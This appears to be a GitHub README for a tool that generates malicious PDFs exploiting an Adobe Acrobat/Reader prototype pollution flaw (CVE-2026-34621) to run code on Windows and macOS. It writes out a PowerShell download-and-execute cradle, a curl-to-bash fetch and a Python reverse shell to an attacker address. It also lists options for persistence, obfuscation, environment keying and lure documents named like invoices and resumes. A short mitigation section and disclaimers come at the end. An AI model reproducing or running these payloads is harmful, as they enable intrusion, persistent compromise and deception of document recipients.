null200ok/cve_2026_34621_advancedA sophisticated, cross-platform exploit generator for **CVE-2026-34621** – a critical prototype pollution vulnerability in Adobe Acrobat and Reader that leads to sandbox escape and arbitrary code execution on Windows and macOS.
A sophisticated, cross-platform exploit generator for CVE-2026-34621 – a critical prototype pollution vulnerability in Adobe Acrobat and Reader that leads to sandbox escape and arbitrary code execution on Windows and macOS.
⚠️ IMPORTANT DISCLAIMER
This tool is intended only for authorized security research and penetration testing.
Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author assumes no liability for misuse.
CVE-2026-34621 is a zero-day vulnerability in Adobe Acrobat and Reader that allows an attacker to:
This generator creates a malicious PDF file that, when opened in a vulnerable version of Adobe Reader, automatically executes a payload tailored to the victim's operating system.
Supported Target Platforms:
| Category | Capabilities |
|---|---|
| Cross‑Platform Payloads | Auto-detects OS and selects appropriate Windows or macOS command execution method. |
| Multiple Execution Vectors | cmd.exe, PowerShell, WScript.Shell (Windows) / Terminal.app, osascript (macOS). |
| Staged Payloads | Download and execute second‑stage payloads from a remote URL. |
| Persistence | Install registry Run key (Windows) or LaunchAgent (macOS). |
| Evasion Techniques | Three levels of JavaScript obfuscation, environment keying, execution delays, polymorphic code. |
| Lure PDF Embedding | Merge the exploit into a legitimate‑looking PDF (requires PyPDF2). |
| Multiple Triggers | OpenAction, page‑open action, or document‑level JavaScript. |
| Comprehensive Reporting | HTML, TXT, and JSON reports detailing payload configuration. |
git clone https://github.com/NULL200OK/CVE-2026-34621-Exploit.git
cd CVE-2026-34621-Exploit
python3 -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
The core script uses only the Python standard library. For the lure PDF merging feature, install PyPDF2:
pip install PyPDF2
Generate a basic PDF that opens the calculator on both Windows and macOS:
python3 cve_2026_34621_advanced.py -o test.pdf
This creates:
test.pdf – The malicious PDF file.
test_report.html – Detailed HTML report.
test_report.txt – Plain text summary.
test_config.json – JSON configuration export.
Windows Commands
1-Scenario Command
A-Basic calc.exe popup
python cve_2026_34621_advanced.py -o invoice.pdf --win calc.exe
PowerShell reverse shell
python cve_2026_34621_advanced.py -o contract.pdf --win "powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')\""
Staged payload with persistence
python cve_2026_34621_advanced.py -o resume.pdf --win calc.exe --stage http://192.168.1.100/payload.exe -p
Environment‑keyed (only run on "SALES-PC")
python cve_2026_34621_advanced.py -o targeted.pdf --win calc.exe -k SALES-PC
With obfuscation level 2 and 10‑second delay
python cve_2026_34621_advanced.py -o delayed.pdf --win calc.exe -O 2 -d 10
macOS Commands
2-Scenario Command
Open Calculator
python cve_2026_34621_advanced.py -o invoice.pdf --mac "open /System/Applications/Calculator.app"
Download and execute script
python cve_2026_34621_advanced.py -o update.pdf --mac "curl -s http://10.0.0.5/mac_payload.sh | bash"
Reverse shell via Python
python cve_2026_34621_advanced.py -o shell.pdf --mac "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.5\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
Persistence via LaunchAgent
python cve_2026_34621_advanced.py -o persist.pdf --mac "open /Applications/Calculator.app" -p
Embedding in a Lure PDF
python cve_2026_34621_advanced.py -o safe_invoice.pdf -l /path/to/real_invoice.pdf --trigger pageopen
3-Mobile Testing Note
The script itself runs on desktop (Windows/macOS/Linux) to generate the PDF. The generated PDF can be opened on Android or iOS devices, but:
Mobile versions of Adobe Acrobat Reader are not vulnerable to CVE-2026-34621.
The payload will trigger a benign demo fallback (opens a URL or shows an alert) instead of executing system commands.
Option Description
-o, --output FILE Required. Output PDF filename.
--win CMD Windows command to execute (default: calc.exe).
--mac CMD macOS command to execute (default: open /System/Applications/Calculator.app).
--stage URL URL to download second‑stage payload from.
-p, --persistence Install persistence mechanism (Registry/LanchAgent).
-O, --obfuscate LEVEL JavaScript obfuscation level (0=none, 1=basic, 2=intermediate, 3=advanced).
-d, --delay SECONDS Delay execution by specified seconds.
-k, --key HOSTNAME Environment keying – only execute on matching hostname.
-l, --lure PDF Path to a legitimate PDF to use as a lure (merges exploit).
--trigger TYPE Trigger vector: openaction, pageopen, or doclevel.
--no-reports Skip generating HTML/TXT/JSON reports.
--seed N Set random seed for reproducible polymorphic generation.
Attack Chain
Prototype Pollution:
The embedded JavaScript modifies Object.prototype to inject malicious properties (__trusted, privileged, etc.). This confuses Adobe's JavaScript engine trust boundary.
Context Escalation
Because of the polluted prototype, the engine incorrectly treats untrusted document JavaScript as if it were running in a privileged context.
Privileged API Access
The script can now call restricted APIs such as app.launchURL, util.readFileIntoStream, and app.trustedFunction.
Sandbox Escape
These APIs allow file system access and process execution outside the Adobe sandbox.
Arbitrary Code Execution
The script executes the attacker's command using OS‑specific methods:
Windows: cmd.exe /c, PowerShell, or WScript.Shell.
macOS: Terminal.app URL handler or osascript.
Obfuscation Levels
Level Description
0 No obfuscation – plain readable JavaScript.
1 String literals converted to String.fromCharCode, variable names randomized.
2 Level 1 + dead code injection and junk comments.
3 Entire script base64‑encoded and wrapped in eval(atob(...)), then re‑obfuscated.
Product Track Vulnerable Versions Patched Version
Adobe Acrobat DC Continuous ≤ 26.001.21367 26.001.21411
Adobe Acrobat Reader DC Continuous ≤ 26.001.21367 26.001.21411
Adobe Acrobat 2024 Classic ≤ 24.001.30356 24.001.30362 (Win) / 24.001.30360 (macOS)
Update Immediately: Apply the latest security updates from Adobe.
Disable JavaScript in Adobe Reader: Edit → Preferences → JavaScript → uncheck "Enable Acrobat JavaScript" (note: this breaks some PDF functionality).
Use Alternative PDF Viewers: Consider using browsers or third‑party viewers that are not affected.
Contributions are welcome, but please note:
All pull requests must be for defensive research, detection improvements, or reporting enhancements.
We do not accept contributions that increase the offensive capability of the tool beyond what is necessary for legitimate testing.
To contribute:
Fork the repository.
Create a feature branch.
Submit a pull request with a clear description of changes.
This project is provided for educational and authorized security testing purposes only.
By using this software, you agree that you are responsible for complying with all applicable laws and regulations.
The author disclaims all liability for any misuse or damage caused by this tool.